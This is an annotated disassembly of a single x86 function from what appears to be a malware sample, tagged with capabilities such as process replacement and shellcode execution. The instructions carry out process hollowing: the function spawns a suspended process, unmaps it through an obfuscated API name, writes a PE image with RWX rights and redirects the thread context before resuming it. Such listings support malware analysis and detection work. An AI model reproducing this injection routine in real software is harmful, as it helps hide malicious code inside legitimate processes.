Function at 0x47ddd3
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
mov eax, 0x6ca429
call fcn.006b9c3c
sub esp, 0x214
push ebx
push esi
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x170]
mov ebx, dword [ebp + 8]
xor edi, edi
push fcn.004a635f
push 0x4a6449
push 6
push 0x18
push eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ebx
call fcn.0068a1f9
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
call fcn.00477584
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x170]
push eax
call fcn.004a638e
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
push edi
push 1
call fcn.004ab703
push 8
pop edx
lea ecx, [ebp - 0x98]
call fcn.0044e381
mov esi, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x68]
push str..exe
call fcn.0049f002
mov ecx, eax
call fcn.0049efd0
push eax
mov edx, esi
lea ecx, [ebp - 0xe0]
call fcn.0041cdde
pop ecx
mov byte [ebp - 4], 5
mov edx, eax
lea ecx, [ebp - 0xc8]
call fcn.00461060
mov esi, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb0]
call fcn.0046073e
mov byte [ebp - 4], 7
mov edx, eax
push esi
lea ecx, [ebp - 0x50]
call fcn.004b0769
pop ecx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x158]
push eax
call fcn.004a638e
mov byte [ebp - 4], 7
xor esi, esi
push esi
push 1
lea ecx, [ebp - 0x50]
call fcn.004ab703
mov byte [ebp - 4], 6
push esi
push 1
lea ecx, [ebp - 0xb0]
call fcn.004ab703
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xc8]
push esi
push 1
call fcn.004ab703
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xe0]
push esi
push 1
call fcn.00411bc8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x98]
push esi
push 1
call fcn.00411bc8
cmp byte [0x7a00f3], 0
jne 0x47df23
cmp dword [ebp - 0x10], esi
je 0x47df29
xor edi, edi
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 1
jne 0x47dfd3
push 0x78fefc
lea ecx, [ebp - 0x50]
call fcn.00411add
mov byte [ebp - 4], 9
sub esp, 0x18
lea eax, [ebp - 0x50]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00411add
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x98]
call fcn.004609f6
add esp, 0x18
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x50]
push eax
call fcn.0041b490
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x98]
push esi
push 1
call fcn.00411bc8
sub esp, 0x18
lea eax, [ebp - 0x50]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00411add
mov byte [ebp - 4], 0xc
sub esp, 0x18
lea eax, [ebp - 0x158]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.004a6481
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 9
xor cl, cl
call fcn.004734ee
add esp, 0x30
mov byte [ebp - 4], 2
push esi
push 1
lea ecx, [ebp - 0x50]
call fcn.00411bc8
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x47e23e
mov esi, dword [ebx + 0x3c]
add esi, ebx
mov dword [ebp - 0x10], esi
cmp dword [esi], 0x4550
jne 0x47e23e
push 0x44
lea eax, [ebp - 0x1b8]
push 0
push eax
call fcn.005077d5
add esp, 0xc
lea eax, [ebp - 0x2c]
push 0x10
push 0
push eax
call fcn.005077d5
add esp, 0xc
lea ecx, [ebp + 0x14]
cmp dword [ebp + 0x28], 8
cmovae ecx, dword [ebp + 0x14]
imul eax, edi, 0x18
lea eax, [ebp + eax - 0x170]
cmp dword [eax + 0x14], 8
jb 0x47e035
mov eax, dword [eax]
lea edx, [ebp - 0x2c]
push edx
lea edx, [ebp - 0x1b8]
push edx
xor edx, edx
push edx
push edx
push 0x8000004
push edx
push edx
push edx
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x47e23e
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
push edi
mov dword [ebp - 0x34], edi
mov dword [edi], 0x10007
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
je 0x47e23e
push 0
push 4
lea eax, [ebp - 0x30]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov eax, dword [ebp - 0x30]
cmp eax, dword [esi + 0x34]
jne 0x47e15c
push ecx
lea ecx, [ebp - 0x220]
call fcn.00485e60
mov edi, eax
xor ebx, ebx
mov dword [ebp - 0x1c], edi
lea esi, [edi + 0x18]
push 0x73
pop ecx
sub ecx, dword [esi]
lea esi, [esi + 4]
imul eax, ecx, 0x24
push 0x7f
pop ecx
cdq
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [ebx + edi], dl
inc ebx
cmp ebx, 0x14
jb 0x47e0c7
movaps xmm0, xmmword [0x749190]
xor eax, eax
mov esi, dword [ebp - 0x10]
xor ecx, ecx
mov ebx, dword [ebp - 0x18]
mov byte [edi + 0x14], 0
lea edi, [ebp - 0x80]
stosd dword es:[edi], eax
push 0x7f
stosd dword es:[edi], eax
stosw word es:[edi], ax
movups xmmword [ebp - 0x74], xmm0
mov dword [ebp - 0x54], 0x7e
movaps xmm0, xmmword [0x749180]
movups xmmword [ebp - 0x64], xmm0
pop edi
mov eax, dword [ebp + ecx*4 - 0x74]
sub eax, 0x4e
imul eax, eax, 0x22
cdq
idiv edi
lea eax, [edi + edx]
cdq
idiv edi
mov byte [ebp + ecx - 0x80], dl
inc ecx
cmp ecx, 9
jb 0x47e11c
push dword [ebp - 0x1c]
lea eax, [ebp - 0x80]
mov byte [ebp - 0x77], 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push dword [ebp - 0x30]
push dword [ebp - 0x2c]
call eax
mov edi, dword [ebp - 0x34]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [ebp - 0x10], eax
push 0
test eax, eax
jne 0x47e19c
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov edi, dword [ebp - 0x14]
inc edi
mov dword [ebp - 0x14], edi
push 0
pop esi
cmp edi, 1
jle 0x47df2c
jmp 0x47e258
push dword [esi + 0x54]
push ebx
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
and dword [ebp - 0x14], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x47e204
mov edi, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x18], edx
mov ecx, dword [ebx + 0x3c]
add ecx, edx
push 0
push dword [ecx + ebx + 0x108]
mov eax, dword [ecx + ebx + 0x10c]
add eax, ebx
push eax
mov eax, dword [ecx + ebx + 0x104]
add eax, edi
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
inc ecx
movzx eax, word [esi + 6]
add edx, 0x28
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
cmp ecx, eax
jl 0x47e1be
mov edi, dword [ebp - 0x34]
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push edi
mov dword [edi + 0xb0], eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0x8000
push 4
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
cmp dword [ebp - 0x38], 0
mov esi, dword [ebp - 0x24]
cmove esi, dword [ebp - 0x2c]
mov byte [ebp - 4], 1
lea eax, [ebp - 0x170]
push fcn.004a635f
push 6
push 0x18
push eax
call fcn.00689e62
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00411b0e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
push 0
push 1
call fcn.004ab703
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret